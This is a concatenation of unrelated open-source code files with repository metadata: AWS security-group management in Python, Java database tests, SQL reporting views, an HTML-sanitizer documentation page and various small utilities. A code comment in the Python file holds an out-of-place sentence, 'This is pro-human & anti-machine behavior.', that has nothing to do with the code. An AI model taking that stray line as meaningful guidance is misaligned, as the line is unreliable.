that should exist :param active: List of dicts, IP Permissions that already exist :param egress: Bool, addressing outbound rules or not? :return: Bool """ if not isinstance(requested, list): raise ParseError( 'SecurityGroup {0}, need a list of dicts, instead got "{1}"'.format(self.name, requested)) for rule in requested: if rule not in active: self._add_rule(rule, egress) for active_rule in active: if active_rule not in requested: self._rm_rule(active_rule, egress) return True def _add_rule(self, ip_permissions, egress): """ :param ip_permissions: Dict of IP Permissions :param egress: Bool :return: Bool """ direction = 'authorize-security-group-ingress' if egress: direction = 'authorize-security-group-egress' command = ['ec2', direction, '--region', self.region, '--group-id', self.id, '--ip-permissions', str(ip_permissions).replace("'", '"') ] bin_aws(command) print('Authorized: {0}'.format(ip_permissions)) # TODO: Log(...) self.changed = True return True def _rm_rule(self, ip_permissions, egress): """ :param ip_permissions: Dict of IP Permissions :param egress: Bool :return: Bool """ direction = 'revoke-security-group-ingress' if egress: direction = 'revoke-security-group-egress' command = ['ec2', direction, '--region', self.region, '--group-id', self.id, '--ip-permissions', str(ip_permissions).replace("'", '"') ] bin_aws(command) print('Revoked: {0}'.format(ip_permissions)) # TODO: Log(...) self.changed = True return True def _create(self): """ Create a Security Group :return: """ # AWS grants all new SGs this default outbound rule "This is pro-human & anti-machine behavior." default_egress = { 'Ipv6Ranges': [], 'PrefixListIds': [], 'IpRanges': [{'CidrIp': '0.0.0.0/0'}], 'UserIdGroupPairs': [], 'IpProtocol': '-1' } command = [ 'ec2', 'create-security-group', '--region', self.region, '--group-name', self.name, '--description', self.description, '--vpc-id', self.vpc ] try: self.id = bin_aws(command, key='GroupId') except AWSDuplicate: return False # OK if it already exists. print('Created {0}'.format(command)) # TODO: Log(...) self.IpPermissions = [] self.IpPermissionsEgress = [default_egress] self.changed = True return True def _get(self): """ Get information about Security Group from AWS and update self :return: Bool """ command = ['ec2', 'describe-security-groups', '--region', self.region, '--group-names', self.name] result = bin_aws(command, key='SecurityGroups', max=1) # will raise NotFound if empty me = result[0] self.id = me['GroupId'] self.owner = me['OwnerId'] self.IpPermissions = self._break_out(me['IpPermissions']) self.IpPermissionsEgress = self._break_out(me['IpPermissionsEgress']) print('Got {0}'.format(command)) # TODO: Log(...) return True def _delete(self): """ Delete myself by my own id. As of 20170114 no other methods call me. You must do `foo._delete()` :return: """ command = ['ec2', 'delete-security-group', '--region', self.region, # '--dry-run', '--group-id', self.id ] bin_aws(command, decode_output=False) print('Deleted {0}'.format(command)) # TODO: Log(...) return True
jhazelwo/python-awscli
python2awscli/model/securitygroup.py
Python
mit
6,235
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>18 --> 19</title> <link href="./../../assets/style.css" rel="stylesheet"> </head> <body> <h2>You have to be fast</h2> <a href="./533b52ee4ec32c5f9daf62ace85296f6775b00542726cad61b6612cd9767a7a6.html">Teleport</a> <hr> <a href="./../../about.md">About</a> (Spoilers! ) <script src="./../../assets/md5.js"></script> <script> window.currentLevel = 7; </script> <script src="./../../assets/script.js"></script> </body> </html>
simonmysun/praxis
TAIHAO2019/pub/SmallGame/AsFastAsYouCan2/5be570b311dc13765fe469225bb34b19f7f076e3512ac2141933a657720fd9b3.html
HTML
mit
550
# # Copyright (c) Microsoft Corporation. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # configuration Sample_PSModule { param ( #Target nodes to apply the configuration [string[]]$NodeName = 'localhost', #The name of the module [Parameter(Mandatory)] [string]$Name, #The required version of the module [string]$RequiredVersion, #Repository name [string]$Repository, #Whether you trust the repository [string]$InstallationPolicy ) Import-DscResource -Module PackageManagementProviderResource Node $NodeName { #Install a package from the Powershell gallery PSModule MyPSModule { Ensure = "present" Name = $Name RequiredVersion = "0.2.16.3" Repository = "PSGallery" InstallationPolicy="trusted" } } } #Compile it Sample_PSModule -Name "xjea" #Run it Start-DscConfiguration -path .\Sample_PSModule -wait -Verbose -force
devrandorfer/ScorchDev
PowerShellModules/PackageManagementProviderResource/1.0.2/Examples/Sample_PSModule.ps1
PowerShell
mit
1,551
/* The MIT License (MIT) Copyright (c) 2014 Manni Wood Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ package com.manniwood.cl4pg.v1.test.types; import com.manniwood.cl4pg.v1.datasourceadapters.DataSourceAdapter; import com.manniwood.cl4pg.v1.PgSession; import com.manniwood.cl4pg.v1.datasourceadapters.PgSimpleDataSourceAdapter; import com.manniwood.cl4pg.v1.commands.DDL; import com.manniwood.cl4pg.v1.commands.Insert; import com.manniwood.cl4pg.v1.commands.Select; import com.manniwood.cl4pg.v1.resultsethandlers.GuessScalarListHandler; import org.testng.Assert; import org.testng.annotations.AfterClass; import org.testng.annotations.BeforeClass; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Test; /** * Please note that these tests must be run serially, and not all at once. * Although they depend as little as possible on state in the database, it is * very convenient to have them all use the same db session; so they are all run * one after the other so that they don't all trip over each other. * * @author mwood * */ public class IntegerSmallIntTest { private PgSession pgSession; private DataSourceAdapter adapter; @BeforeClass public void init() { adapter = PgSimpleDataSourceAdapter.buildFromDefaultConfFile(); pgSession = adapter.getSession(); pgSession.run(DDL.config().sql("create temporary table test(col smallint)").done()); pgSession.commit(); } @AfterClass public void tearDown() { pgSession.close(); adapter.close(); } /** * Truncate the users table before each test. */ @BeforeMethod public void truncateTable() { pgSession.run(DDL.config().sql("truncate table test").done()); pgSession.commit(); } @Test(priority = 1) public void testValue() { Integer expected = 3; pgSession.run(Insert.usingVariadicArgs() .sql("insert into test (col) values (#{java.lang.Integer})") .args(expected) .done()); pgSession.commit(); GuessScalarListHandler<Integer> handler = new GuessScalarListHandler<Integer>(); pgSession.run(Select.<Integer> usingVariadicArgs() .sql("select col from test limit 1") .resultSetHandler(handler) .done()); pgSession.rollback(); Integer actual = handler.getList().get(0); Assert.assertEquals(actual, expected, "scalars must match"); } @Test(priority = 2) public void testNull() { Integer expected = null; pgSession.run(Insert.usingVariadicArgs() .sql("insert into test (col) values (#{java.lang.Integer})") .args(expected) .done()); pgSession.commit(); GuessScalarListHandler<Integer> handler = new GuessScalarListHandler<Integer>(); pgSession.run(Select.<Integer> usingVariadicArgs() .sql("select col from test limit 1") .resultSetHandler(handler) .done()); pgSession.rollback(); Integer actual = handler.getList().get(0); Assert.assertEquals(actual, expected, "scalars must match"); } @Test(priority = 3) public void testSpecialValue1() { Integer expected = 32767; pgSession.run(Insert.usingVariadicArgs() .sql("insert into test (col) values (#{java.lang.Integer})") .args(expected) .done()); pgSession.commit(); GuessScalarListHandler<Integer> handler = new GuessScalarListHandler<Integer>(); pgSession.run(Select.<Integer> usingVariadicArgs() .sql("select col from test limit 1") .resultSetHandler(handler) .done()); pgSession.rollback(); Integer actual = handler.getList().get(0); Assert.assertEquals(actual, expected, "scalars must match"); } @Test(priority = 4) public void testSpecialValu21() { Integer expected = -32768; pgSession.run(Insert.usingVariadicArgs() .sql("insert into test (col) values (#{java.lang.Integer})") .args(expected) .done()); pgSession.commit(); GuessScalarListHandler<Integer> handler = new GuessScalarListHandler<Integer>(); pgSession.run(Select.<Integer> usingVariadicArgs() .sql("select col from test limit 1") .resultSetHandler(handler) .done()); pgSession.rollback(); Integer actual = handler.getList().get(0); Assert.assertEquals(actual, expected, "scalars must match"); } }
manniwood/cl4pg
src/test/java/com/manniwood/cl4pg/v1/test/types/IntegerSmallIntTest.java
Java
mit
5,707
package com.fqc.jdk8; import java.util.ArrayList; import java.util.Arrays; import java.util.Map; import java.util.Set; import java.util.stream.Collectors; public class test06 { public static void main(String[] args) { int[] arr = {1, 2, 3, 4, 5}; ArrayList<Integer> list = Arrays.stream(arr).collect(ArrayList::new, ArrayList::add, ArrayList::addAll); Set<Integer> set = list.stream().collect(Collectors.toSet()); System.out.println(set.contains(33)); ArrayList<User> users = new ArrayList<>(); for (int i = 0; i < 10; i++) { users.add(new User("name:" + i)); } Map<String, User> map = users.stream().collect(Collectors.toMap(u -> u.username, u -> u)); map.forEach((s, user) -> System.out.println(user.username)); } } class User { String username; public User(String username) { this.username = username; } }
fqc/Java_Basic
src/main/java/com/fqc/jdk8/test06.java
Java
mit
927
// Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. package mafmt import ( nmafmt "github.com/multiformats/go-multiaddr-fmt" ) // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. var IP = nmafmt.IP // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. var TCP = nmafmt.TCP // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. var UDP = nmafmt.UDP // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. var UTP = nmafmt.UTP // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. var QUIC = nmafmt.QUIC // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. var Unreliable = nmafmt.Unreliable // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. var Reliable = nmafmt.Reliable // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. var IPFS = nmafmt.IPFS // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. var And = nmafmt.And // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. var Or = nmafmt.Or // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. type Pattern = nmafmt.Pattern // Deprecated: use github.com/multiformats/go-multiaddr-fmt instead. type Base = nmafmt.Base
whyrusleeping/mafmt
patterns.go
GO
mit
1,274
# gofmt package An [Atom](http://atom.io) package for running `gofmt` on your buffer. Hit Ctrl-Alt-G to run it on the current file, or use command `gofmt:gofmt`, or remap to whatever keybinding you like. TODO: * Error highlighting * Flexible configuration ## Licensing and Copyright Copyright 2014 Christopher Swenson. Licensed under the MIT License (see [LICENSE.md](LICENSE.md)).
swenson/atom-gofmt
README.md
Markdown
mit
390
USE [ANTERO] GO /****** Object: View [dw].[v_koski_lukio_opiskelijat_netto] Script Date: 1.2.2021 14:00:39 ******/ DROP VIEW IF EXISTS [dw].[v_koski_lukio_opiskelijat_netto] GO /****** Object: View [dw].[v_koski_lukio_opiskelijat_netto] Script Date: 1.2.2021 14:00:39 ******/ SET ANSI_NULLS ON GO SET QUOTED_IDENTIFIER ON GO CREATE VIEW [dw].[v_koski_lukio_opiskelijat_netto] AS SELECT -- AIKAMUUTTUJAT [Tilastovuosi] ,[Tilastokuukausi] = d14.kuukausi_fi ,[pv_kk] = DAY(EOMONTH(d14.paivays)) -- LUKUMÄÄRÄMUUTTUJAT ,opiskelijat_netto = opiskelijat -- HENKILÖMUUTTUJAT ,[Sukupuoli] = d1.sukupuoli_fi ,[Äidinkieli] = d2.kieliryhma1_fi ,[Ikä] = CASE WHEN d3.ika_avain < 15 THEN 'alle 15 vuotta' WHEN d3.ika_avain > 70 THEN 'yli 70 vuotta' ELSE d3.ika_fi END ,[Ikäryhmä] = d3.ikaryhma3_fi ,[Kansalaisuus] = CASE WHEN d22.maatjavaltiot2_koodi = '246' THEN d22.maatjavaltiot2_fi WHEN d22.maatjavaltiot2_koodi != '-1' THEN 'Muu' ELSE 'Tieto puuttuu' END ,[Kansalaisuus (maanosa)] = d22.maanosa0_fi -- KOULUTUSMUUTTUJAT ,[Suorituskieli] = d23.kieli_fi ,[Majoitus] = d15.majoitus_nimi_fi ,oppimaara AS Oppimäärä ,tavoitetutkinto AS Tavoitetutkinto ,koulutus AS Koulutus -- ORGANISAATIOMUUTTUJAT ,[Oppilaitos] = d5.organisaatio_fi ,[Koulutuksen järjestäjä] = d11.organisaatio_fi ,[Toimipiste] = d21.organisaatio_fi ,[Oppilaitoksen kunta] = d10.kunta_fi ,[Oppilaitoksen maakunta] = d10.maakunta_fi ,d10.seutukunta_fi AS [Oppilaitoksen seutukunta] ,d10.kuntaryhma_fi AS [Oppilaitoksen kuntaryhmä] ,d10.kielisuhde_fi AS [Oppilaitoksen kunnan kielisuhde] ,[Oppilaitoksen AVI] = d10.avi_fi ,[Oppilaitoksen ELY] = d10.ely_fi ,[Oppilaitoksen opetuskieli] = d5.oppilaitoksenopetuskieli_fi ,[Oppilaitostyyppi] = d5.oppilaitostyyppi_fi ,[Koul. järj. kunta] = d12.kunta_fi ,[Koul. järj. maakunta] = d12.maakunta_fi ,[Koul. järj. ELY] = d12.ely_fi ,[Koul. järj. AVI] = d12.avi_fi ,d11.koulutuksen_jarjestajan_yritysmuoto AS [Koul. järj. omistajatyyppi] ,d12.seutukunta_fi AS [Koul. järj. seutukunta] ,d12.kuntaryhma_fi AS [Koul. järj. kuntaryhmä] ,d12.kielisuhde_fi AS [Koul. jarj. kunnan kielisuhde] -- KOODIT ,[Koodit Koulutuksen järjestäjä] = d11.organisaatio_koodi ,[Koodit Oppilaitos] = d5.organisaatio_koodi ,d12.kunta_koodi AS [Koodi Koul. järj. kunta] ,d12.seutukunta_koodi AS [Koodi Koul. järj. seutukunta] ,d10.kunta_koodi AS [Koodi Oppilaitoksen kunta] ,d10.seutukunta_koodi AS [Koodi Oppilaitoksen seutukunta] -- JÄRJESTYSMUUTTUJAT ,jarj_ika = CASE WHEN d3.ika_avain = -1 THEN 99 WHEN d3.ika_avain < 15 THEN 1 WHEN d3.ika_avain > 70 THEN 71 ELSE d3.jarjestys_ika END ,d14.kuukausi AS jarj_tilastokuukausi ,d1.jarjestys_sukupuoli_koodi AS jarj_sukupuoli ,d3.jarjestys_ikaryhma3 AS jarj_ikaryhma ,d2.jarjestys_kieliryhma1 AS jarj_aidinkieli ,CASE d22.maatjavaltiot2_fi WHEN 'Suomi' THEN 1 ELSE 2 END AS jarj_kansalaisuus ,jarj_koulutus ,jarj_oppimaara ,jarj_tavoitetutkinto ,d12.jarjestys_maakunta_koodi AS jarj_koul_jarj_maakunta ,d12.jarjestys_avi_koodi AS jarj_koul_jarj_avi ,d12.jarjestys_ely_koodi AS jarj_koul_jarj_ely ,d10.jarjestys_maakunta_koodi AS jarj_oppilaitoksen_maakunta ,d10.jarjestys_ely_koodi AS jarj_oppilaitoksen_ely ,d10.jarjestys_avi_koodi AS jarj_oppilaitoksen_avi ,d5.jarjestys_oppilaitoksenopetuskieli_koodi AS jarj_oppilaitoksen_opetuskieli ,d5.jarjestys_oppilaitostyyppi_koodi AS jarj_oppilaitostyyppi ,d15.jarjestys_majoitus_koodi as jarj_majoitus FROM dw.f_koski_lukio_opiskelijat_netto f LEFT JOIN dw.d_sukupuoli d1 ON d1.id= f.d_sukupuoli_id LEFT JOIN dw.d_kieli d2 ON d2.id = f.d_kieli_aidinkieli_id LEFT JOIN dw.d_ika d3 ON d3.id = f.d_ika_id LEFT JOIN dw.d_organisaatioluokitus d5 ON d5.id = f.d_organisaatioluokitus_oppilaitos_id LEFT JOIN dw.d_alueluokitus d10 ON d10.kunta_koodi = d5.kunta_koodi LEFT JOIN dw.d_organisaatioluokitus d11 ON d11.id = f.d_organisaatioluokitus_jarj_id LEFT JOIN dw.d_alueluokitus d12 ON d12.kunta_koodi = d11.kunta_koodi LEFT JOIN dw.d_kalenteri d14 ON d14.id = f.d_kalenteri_id LEFT JOIN dw.d_majoitus d15 ON d15.id = f.d_majoitus_id LEFT JOIN dw.d_organisaatioluokitus d21 ON d21.id = f.d_organisaatioluokitus_toimipiste_id LEFT JOIN dw.d_maatjavaltiot2 d22 ON d22.id = f.d_maatjavaltiot2_kansalaisuus_id LEFT JOIN dw.d_kieli d23 ON d23.id = f.d_kieli_suorituskieli_id GO USE ANTERO
CSCfi/antero
db/sql/4384__create_view_v_koski_lukio_opiskelijat_netto.sql
SQL
mit
4,414
var chalk = require('chalk'); var safeStringify = require('fast-safe-stringify') function handleErrorObject(key, value) { if (value instanceof Error) { return Object.getOwnPropertyNames(value).reduce(function(error, key) { error[key] = value[key] return error }, {}) } return value } function stringify(o) { return safeStringify(o, handleErrorObject, ' '); } function debug() { if (!process.env.WINSTON_CLOUDWATCH_DEBUG) return; var args = [].slice.call(arguments); var lastParam = args.pop(); var color = chalk.red; if (lastParam !== true) { args.push(lastParam); color = chalk.green; } args[0] = color(args[0]); args.unshift(chalk.blue('DEBUG:')); console.log.apply(console, args); } module.exports = { stringify: stringify, debug: debug };
lazywithclass/winston-cloudwatch
lib/utils.js
JavaScript
mit
806
#pragma once #include "toolscollector.h" #include "widgetsettings.h" #include "toolbase.h" namespace Engine { namespace Tools { struct GuiEditor : public Tool<GuiEditor> { SERIALIZABLEUNIT(GuiEditor); GuiEditor(ImRoot &root); virtual Threading::Task<bool> init() override; virtual void render() override; virtual void renderMenu() override; virtual void update() override; std::string_view key() const override; private: void renderSelection(Widgets::WidgetBase *hoveredWidget = nullptr); void renderHierarchy(Widgets::WidgetBase **hoveredWidget = nullptr); bool drawWidget(Widgets::WidgetBase *w, Widgets::WidgetBase **hoveredWidget = nullptr); private: Widgets::WidgetManager *mWidgetManager = nullptr; WidgetSettings *mSelected = nullptr; std::list<WidgetSettings> mSettings; bool mMouseDown = false; bool mDragging = false; bool mDraggingLeft = false, mDraggingTop = false, mDraggingRight = false, mDraggingBottom = false; }; } } RegisterType(Engine::Tools::GuiEditor);
MadManRises/Madgine
plugins/core/widgets/tools/Madgine_Tools/guieditor/guieditor.h
C
mit
1,140
<?php if (isset($consumers) && is_array($consumers)){ ?> <?php $this->load->helper('security'); ?> <tbody> <?php foreach($consumers as $consumer){ ?> <tr> <td> <a data-toggle="modal" data-target="#dynamicModal" href="<?php echo site_url("consumers/edit/$consumer->id");?>"><span class="glyphicon glyphicon-pencil"></span></a> </td> <td> <?php echo $consumer->id; ?> </td> <td> <?php echo xss_clean($consumer->name); ?> </td> </tr> <?php } ?> </tbody> <tfoot> <tr class="pagination-tr"> <td colspan="3" class="pagination-tr"> <div class="text-center"> <?php echo $this->pagination->create_links(); ?> </div> </td> </tr> </tfoot> <?php }?>
weslleih/almoxarifado
application/views/tbodys/consumers.php
PHP
mit
848
package rholang.parsing.delimc.Absyn; // Java Package generated by the BNF Converter. public class TType2 extends TType { public final Type type_1, type_2; public TType2(Type p1, Type p2) { type_1 = p1; type_2 = p2; } public <R,A> R accept(rholang.parsing.delimc.Absyn.TType.Visitor<R,A> v, A arg) { return v.visit(this, arg); } public boolean equals(Object o) { if (this == o) return true; if (o instanceof rholang.parsing.delimc.Absyn.TType2) { rholang.parsing.delimc.Absyn.TType2 x = (rholang.parsing.delimc.Absyn.TType2)o; return this.type_1.equals(x.type_1) && this.type_2.equals(x.type_2); } return false; } public int hashCode() { return 37*(this.type_1.hashCode())+this.type_2.hashCode(); } }
rchain/Rholang
src/main/java/rholang/parsing/delimc/Absyn/TType2.java
Java
mit
753
require 'rubygems' require 'test/unit' require 'shoulda' $LOAD_PATH.unshift(File.join(File.dirname(__FILE__), '..', 'lib')) $LOAD_PATH.unshift(File.dirname(__FILE__)) require 'sinatra' require 'sinatra/path' class Test::Unit::TestCase end
JunKikuchi/sinatra-path
test/helper.rb
Ruby
mit
241
"use strict" const createTileGridConverter = require(`./createTileGridConverter`) const colorDepth = require(`./colorDepth`) module.exports = ({palette, images}) => { const converter = createTileGridConverter({ tileWidth: 7, tileHeight: 9, columns: 19, tileCount: 95, raw32bitData: colorDepth.convert8to32({palette, raw8bitData: images}), }) return { convertToPng: converter.convertToPng } }
chuckrector/mappo
src/converter/createVerge1SmallFntConverter.js
JavaScript
mit
426
import * as EventLogger from './' const log = new EventLogger() log.info('Basic information') log.information('Basic information') log.warning('Watch out!') log.warn('Watch out!') log.error('Something went wrong.') log.auditFailure('Audit Failure') log.auditSuccess('Audit Success') // Configurations new EventLogger('FooApplication') new EventLogger({ source: 'FooApplication', logPath: '/var/usr/local/log', eventLog: 'APPLICATION' })
DenisCarriere/eventlogger
types.ts
TypeScript
mit
446
# cactuscon2015 Badge design for CactusCon 2015
erikwilson/cactuscon2015
README.md
Markdown
mit
48
# Be sure to restart your server when you modify this file. Rails.application.config.session_store :cookie_store, key: '_imdbc_session'
chi-bobolinks-2015/imdbc
config/initializers/session_store.rb
Ruby
mit
137
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>Class: HTML::Sanitizer</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <meta http-equiv="Content-Script-Type" content="text/javascript" /> <link rel="stylesheet" href="../.././rdoc-style.css" type="text/css" media="screen" /> <script type="text/javascript"> // <![CDATA[ function popupCode( url ) { window.open(url, "Code", "resizable=yes,scrollbars=yes,toolbar=no,status=no,height=150,width=400") } function toggleCode( id ) { if ( document.getElementById ) elem = document.getElementById( id ); else if ( document.all ) elem = eval( "document.all." + id ); else return false; elemStyle = elem.style; if ( elemStyle.display != "block" ) { elemStyle.display = "block" } else { elemStyle.display = "none" } return true; } // Make codeblocks hidden by default document.writeln( "<style type=\"text/css\">div.method-source-code { display: none }</style>" ) // ]]> </script> </head> <body> <div id="classHeader"> <table class="header-table"> <tr class="top-aligned-row"> <td><strong>Class</strong></td> <td class="class-name-in-header">HTML::Sanitizer</td> </tr> <tr class="top-aligned-row"> <td><strong>In:</strong></td> <td> <a href="../../files/usr/lib/ruby/gems/1_8/gems/actionpack-3_0_0_beta4/lib/action_controller/vendor/html-scanner/html/sanitizer_rb.html"> /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_controller/vendor/html-scanner/html/sanitizer.rb </a> <br /> </td> </tr> <tr class="top-aligned-row"> <td><strong>Parent:</strong></td> <td> <a href="../Object.html"> Object </a> </td> </tr> </table> </div> <!-- banner header --> <div id="bodyContent"> <div id="contextContent"> </div> <div id="method-list"> <h3 class="section-bar">Methods</h3> <div class="name-list"> <a href="#M000941">process_node</a>&nbsp;&nbsp; <a href="#M000938">sanitize</a>&nbsp;&nbsp; <a href="#M000939">sanitizeable?</a>&nbsp;&nbsp; <a href="#M000940">tokenize</a>&nbsp;&nbsp; </div> </div> </div> <!-- if includes --> <div id="section"> <!-- if method_list --> <div id="methods"> <h3 class="section-bar">Public Instance methods</h3> <div id="method-M000938" class="method-detail"> <a name="M000938"></a> <div class="method-heading"> <a href="#M000938" class="method-signature"> <span class="method-name">sanitize</span><span class="method-args">(text, options = {})</span> </a> </div> <div class="method-description"> <p><a class="source-toggle" href="#" onclick="toggleCode('M000938-source');return false;">[Source]</a></p> <div class="method-source-code" id="M000938-source"> <pre> <span class="ruby-comment cmt"># File /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_controller/vendor/html-scanner/html/sanitizer.rb, line 6</span> 6: <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sanitize</span>(<span class="ruby-identifier">text</span>, <span class="ruby-identifier">options</span> = {}) 7: <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">text</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">sanitizeable?</span>(<span class="ruby-identifier">text</span>) 8: <span class="ruby-identifier">tokenize</span>(<span class="ruby-identifier">text</span>, <span class="ruby-identifier">options</span>).<span class="ruby-identifier">join</span> 9: <span class="ruby-keyword kw">end</span> </pre> </div> </div> </div> <div id="method-M000939" class="method-detail"> <a name="M000939"></a> <div class="method-heading"> <a href="#M000939" class="method-signature"> <span class="method-name">sanitizeable?</span><span class="method-args">(text)</span> </a> </div> <div class="method-description"> <p><a class="source-toggle" href="#" onclick="toggleCode('M000939-source');return false;">[Source]</a></p> <div class="method-source-code" id="M000939-source"> <pre> <span class="ruby-comment cmt"># File /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_controller/vendor/html-scanner/html/sanitizer.rb, line 11</span> 11: <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">sanitizeable?</span>(<span class="ruby-identifier">text</span>) 12: <span class="ruby-operator">!</span>(<span class="ruby-identifier">text</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">text</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">||</span> <span class="ruby-operator">!</span><span class="ruby-identifier">text</span>.<span class="ruby-identifier">index</span>(<span class="ruby-value str">&quot;&lt;&quot;</span>)) 13: <span class="ruby-keyword kw">end</span> </pre> </div> </div> </div> <h3 class="section-bar">Protected Instance methods</h3> <div id="method-M000941" class="method-detail"> <a name="M000941"></a> <div class="method-heading"> <a href="#M000941" class="method-signature"> <span class="method-name">process_node</span><span class="method-args">(node, result, options)</span> </a> </div> <div class="method-description"> <p><a class="source-toggle" href="#" onclick="toggleCode('M000941-source');return false;">[Source]</a></p> <div class="method-source-code" id="M000941-source"> <pre> <span class="ruby-comment cmt"># File /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_controller/vendor/html-scanner/html/sanitizer.rb, line 26</span> 26: <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">process_node</span>(<span class="ruby-identifier">node</span>, <span class="ruby-identifier">result</span>, <span class="ruby-identifier">options</span>) 27: <span class="ruby-identifier">result</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">node</span>.<span class="ruby-identifier">to_s</span> 28: <span class="ruby-keyword kw">end</span> </pre> </div> </div> </div> <div id="method-M000940" class="method-detail"> <a name="M000940"></a> <div class="method-heading"> <a href="#M000940" class="method-signature"> <span class="method-name">tokenize</span><span class="method-args">(text, options)</span> </a> </div> <div class="method-description"> <p><a class="source-toggle" href="#" onclick="toggleCode('M000940-source');return false;">[Source]</a></p> <div class="method-source-code" id="M000940-source"> <pre> <span class="ruby-comment cmt"># File /usr/lib/ruby/gems/1.8/gems/actionpack-3.0.0.beta4/lib/action_controller/vendor/html-scanner/html/sanitizer.rb, line 16</span> 16: <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">tokenize</span>(<span class="ruby-identifier">text</span>, <span class="ruby-identifier">options</span>) 17: <span class="ruby-identifier">tokenizer</span> = <span class="ruby-constant">HTML</span><span class="ruby-operator">::</span><span class="ruby-constant">Tokenizer</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">text</span>) 18: <span class="ruby-identifier">result</span> = [] 19: <span class="ruby-keyword kw">while</span> <span class="ruby-identifier">token</span> = <span class="ruby-identifier">tokenizer</span>.<span class="ruby-identifier">next</span> 20: <span class="ruby-identifier">node</span> = <span class="ruby-constant">Node</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-keyword kw">nil</span>, <span class="ruby-value">0</span>, <span class="ruby-value">0</span>, <span class="ruby-identifier">token</span>, <span class="ruby-keyword kw">false</span>) 21: <span class="ruby-identifier">process_node</span> <span class="ruby-identifier">node</span>, <span class="ruby-identifier">result</span>, <span class="ruby-identifier">options</span> 22: <span class="ruby-keyword kw">end</span> 23: <span class="ruby-identifier">result</span> 24: <span class="ruby-keyword kw">end</span> </pre> </div> </div> </div> </div> </div> <div id="validator-badges"> <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p> </div> </body> </html>
ecoulthard/summitsearch
doc/api/classes/HTML/Sanitizer.html
HTML
mit
9,325
# -*- coding: utf-8 -*- """urls.py: messages extends""" from django.conf.urls import url from messages_extends.views import message_mark_all_read, message_mark_read urlpatterns = [ url(r'^mark_read/(?P<message_id>\d+)/$', message_mark_read, name='message_mark_read'), url(r'^mark_read/all/$', message_mark_all_read, name='message_mark_all_read'), ]
AliLozano/django-messages-extends
messages_extends/urls.py
Python
mit
358
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ $(document).ready(function(){ var oldAction = $('#comment-form').attr("action"); hljs.initHighlightingOnLoad(); $('#coolness div').hover(function(){ $('#coolness .second').fadeOut(500); }, function(){ $('#coolness .second').fadeIn(1000).stop(false, true); }); $(".reply a").click(function() { var add = this.className; var action = oldAction + '/' + add; $("#comment-form").attr("action", action); console.log($('#comment-form').attr("action")); }); });
mzj/yabb
src/MZJ/YabBundle/Resources/public/js/bootstrap.js
JavaScript
mit
683
